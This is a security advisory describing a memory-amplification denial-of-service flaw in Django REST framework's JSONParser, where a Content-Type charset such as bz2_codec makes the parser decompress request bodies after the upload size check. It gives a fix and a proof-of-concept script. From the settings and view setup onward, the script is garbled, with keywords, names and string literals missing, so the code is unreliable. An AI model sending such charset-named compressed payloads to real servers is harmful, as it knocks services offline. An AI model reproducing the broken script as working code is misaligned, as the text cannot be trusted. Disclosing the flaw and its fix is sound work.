Django REST framework: JSONParser applies an attacker-named codec to the request stream

Summary

An unauthenticated attacker can defeat Django's DATA_UPLOAD_MAX_MEMORY_SIZE limit and force a worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON body.

Details

JSONParser.parse decodes the request body with the charset the client supplied on the Content-Type header:

# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
    decoded_stream = codecs.getreader(encoding)(stream)
    parse_constant = json.strict_constant if self.strict else None
    return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
    raise ParseError('JSON parse error - %s' % str(exc))

Of the roughly 455 codec names codecs.lookup resolves on CPython 3.14, about 18 are byte transforms instead of character sets: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec and similar. codecs.getreader is the only entry point in the codecs module that does not consult CodecInfo._is_text_encoding, so it accepts all of them. Sending Content-Type: application/json; charset=bz2_codec wraps the request stream in a bz2 decompressor before json.load reads it.

The ordering is what makes this exploitable. Django charges DATA_UPLOAD_MAX_MEMORY_SIZE against the bytes that arrived on the wire: rest_framework/request.py hands JSONParser an io.BytesIO(self.body), and HttpRequest.body is where _check_data_too_big() runs. Decompression happens afterwards, inside the parser, where nothing is counting.

This is DRF's defect and not Django's. Django resolves the charset parameter and assigns request.encoding, and codecs.lookup does resolve byte transforms, but every Django consumer of request.encoding goes through the text-codec API and fails closed. Both bytes.decode('bz2_codec') and str(raw, 'bz2_codec') raise LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs. DRF is the only caller that hands the request stream to codecs.getreader.

FormParser (parsers.py:84) and MultiPartParser (parsers.py:104-118) take the same client-named encoding but fail closed instead of amplifying.

The sink was introduced by 9a228116 (PR #5147, 2017-05-24, "Improve memory footprint when reading large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended memory gain does not hold because read() decodes the whole stream, which is the same property that makes this expansion unbounded. No _is_text_encoding check has been added since.

A one-line fix at parsers.py:61-64:

if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')

PoC

Save as poc_charset_amplification.py and run it. It builds its own payloads, runs each arm in a fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports near-zero growth for every arm after the first), and prints a verdict.

#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.

  T   ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
  C1  48 MiB plaintext,   Content-Type: application/json   (no charset)
  C2  the byte-identical T body, charset=utf-8
  C3  zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit.
    python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
    "T": ("bz2.bin", "application/json; charset=bz2_codec"),
    "C1": ("plain.bin", "application/json"),
    "C2": ("bz2.bin", "application/json; charset=utf-8"),
    "C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
    "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
    "C1": "rejected with RequestDataTooBig, view body never runs",
    "C2": "HTTP 400 ParseError on the byte-identical compressed body",
    : ,
}
VIEW_RAN = []


 ():
     bz2
     zlib

    os.makedirs(PAYLOAD_DIR, exist_ok=)
    plain =  +  * PAYLOAD_CHARS + 
    blobs = {
        : plain,
        : bz2.compress(plain, ),
        : zlib.compress(plain, ),
    }
     name, blob  blobs.items():
         (os.path.join(PAYLOAD_DIR, name), )  fh:
            fh.write(blob)
     {name: (blob)  name, blob  blobs.items()}


 ():
     django.conf  settings

    settings.configure(
        DEBUG=,
        ALLOWED_HOSTS=[],
        SECRET_KEY=,
        ROOT_URLCONF=__name__,
        MIDDLEWARE=[],
        INSTALLED_APPS=[
            ,
            ,
            ,
        ],
        DATABASES={
            : {: , : }
        },
        DEFAULT_CHARSET=,
        DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
        LOGGING_CONFIG=,
        USE_TZ=,
    )
     django

    django.setup()


 ():
     rest_framework.response  Response
     rest_framework.views  APIView

     ():
        authentication_classes = []
        permission_classes = []

         ():
            data = request.data
            VIEW_RAN.append()
            value = data.get()  (data, )  
             Response(
                {: (value)  (value, )  }
            )

     Echo


 ():
    
     name == :
         django.urls  path

        value = [path(, build_view().as_view())]
        ()[] = value
         value
     AttributeError(name)


 ():
    
    :
         ()  fh:
             line  fh:
                 line.startswith():
                     (line.split()[].strip().split()[])
     OSError:
        
     resource

     resource.getrusage(resource.RUSAGE_SELF).ru_maxrss


 ():
    payload_name, content_type = ARMS[arm]
     (os.path.join(PAYLOAD_DIR, payload_name), )  fh:
        body = fh.read()

    configure_django()
     django.test  Client, RequestFactory

    client = Client(raise_request_exception=)
    
    client.generic(, , data=, content_type=)
    VIEW_RAN.clear()

    before = peak_rss_kib()
    response = client.generic(, , d